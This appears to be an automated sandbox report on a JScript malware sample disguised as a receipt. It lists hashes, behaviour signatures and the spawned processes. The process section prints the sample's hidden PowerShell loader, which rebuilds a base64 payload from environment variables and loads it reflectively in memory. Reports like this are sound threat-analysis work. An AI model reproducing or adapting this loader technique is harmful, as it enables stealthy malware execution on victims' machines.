Analysis
- max time kernel
148s - max time network
141s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
25/08/2026, 18:17
General
- Target Comprobante379980.js
- Size 37.6MB
- Sample260825-ww31daad33
- SHA256 774e35a5b36ed134cabc97a8f393b1f084e5cc4fa335518a2c2617b61c0257ef
Malware Config
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\Comprobante379980.js1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$s=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17+$env:P18+$env:P19+$env:P20+$env:P21+$env:P22+$env:P23+$env:P24+$env:P25+$env:P26+$env:P27+$env:P28+$env:P29+$env:P30+$env:P31+$env:P32+$env:P33+$env:P34+$env:P35+$env:P36+$env:P37;$b=[Convert]::FromBase64String($s);[Reflection.Assembly]::Load($b)|Out-Null;[OtnmpxnddVnptbN.mpxnddVn]::Otnmpxn('gdOwU0qF2m37l3pBNVVrbOlPXB2zN/nFBs0Iqf8pFhLszQSSrY2DArt3DM2Hh6hGVIsLbqQpxJgi35i1ZvLSVQ==','QYKlU649jeDFCL0AbM/UHK6Fk4bgcuKe09DGGCFZ8g0=','9kJ4wq0y7F2RArKg3eTGkWWumNWj6XkhCpoFsCFSgAAoxt6DIAycgOyn5WwMsBBG','nVD7Fk72+44jFU9xyLPxhKgruZITb6af9zLvdW5oTFY=','u7nNFxhQF5aa/m6rRaypV1Tev+dwn+piDtjFgITomc8=','','fGyoMIZ6VZ7GBvrGlbwW8ueaHIj1ZVp7Y+qHVamh4mE=','ifBMYG3vXnsWtfMJck6MMsil7Pb6o6QVj5s9EfU8HrI=','DKjQztx1GHo07ZRYtwkw+KJ2r/DefxSF5PJI3bmGJ6dsMqVs8tFXmLrPpwvWGDaSnJJ8Wqu+mKlexjFwfYfmxA==','GmpWYrLlD/jRkVvWx+pAohc3Y58nwehD67O83692B+kz/zZakSGHLDIM8fvDObV3','TgwHRrlZN8D6XdGEXa88EShmh+DemRIqeopE9cmvz38=','QmxCF8yCrJ0mssJ2Xr2YAQ/YcmCIDNRL+wwTqxfnO44=','9p+o5KF/CmnoTQaNtooSLfRajOkn94SjJ3Te9RcdVRk=','N8jtQSwjzGNmxFFbGEbKPaxyZMTOCcdkyFhyLR0QUJw=','pdBJdYe+v0LQezpNmGYiHc2Q6TYbRVIzS+Jmt+Kl5oE=','r4LTIAomKRWq2z1xd5XUXggYKoGrb5s8TH5df3BbA48=','','','')"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/3364-0-0x00007FFF273AF000-0x00007FFF273B0000-memory.dmp
memory/3364-4-0x00007FFF27220000-0x00007FFF27BC4000-memory.dmp
memory/3364-3-0x00000243AD300000-0x00000243AD322000-memory.dmp
memory/3364-5-0x00007FFF27220000-0x00007FFF27BC4000-memory.dmp
memory/3364-6-0x00007FFF27220000-0x00007FFF27BC4000-memory.dmp
memory/3364-7-0x00007FFF27220000-0x00007FFF27BC4000-memory.dmp
memory/3364-8-0x00007FFF27220000-0x00007FFF27BC4000-memory.dmp
memory/3364-9-0x00007FFF27220000-0x00007FFF27BC4000-memory.dmp
memory/3364-10-0x0000024392BC0000-0x0000024392C8E000-memory.dmp
memory/3364-11-0x0000024392C90000-0x0000024392C9A000-memory.dmp
memory/3364-12-0x00007FFF27220000-0x00007FFF27BC4000-memory.dmp
memory/3364-13-0x00007FFF27220000-0x00007FFF27BC4000-memory.dmp
memory/3364-14-0x00007FFF27220000-0x00007FFF27BC4000-memory.dmp
memory/3364-15-0x00007FFF27220000-0x00007FFF27BC4000-memory.dmp
memory/3364-16-0x00007FFF27220000-0x00007FFF27BC4000-memory.dmp
memory/3364-17-0x00007FFF27220000-0x00007FFF27BC4000-memory.dmp
memory/3364-18-0x00007FFF27220000-0x00007FFF27BC4000-memory.dmp
memory/3364-20-0x00007FFF27220000-0x00007FFF27BC4000-memory.dmp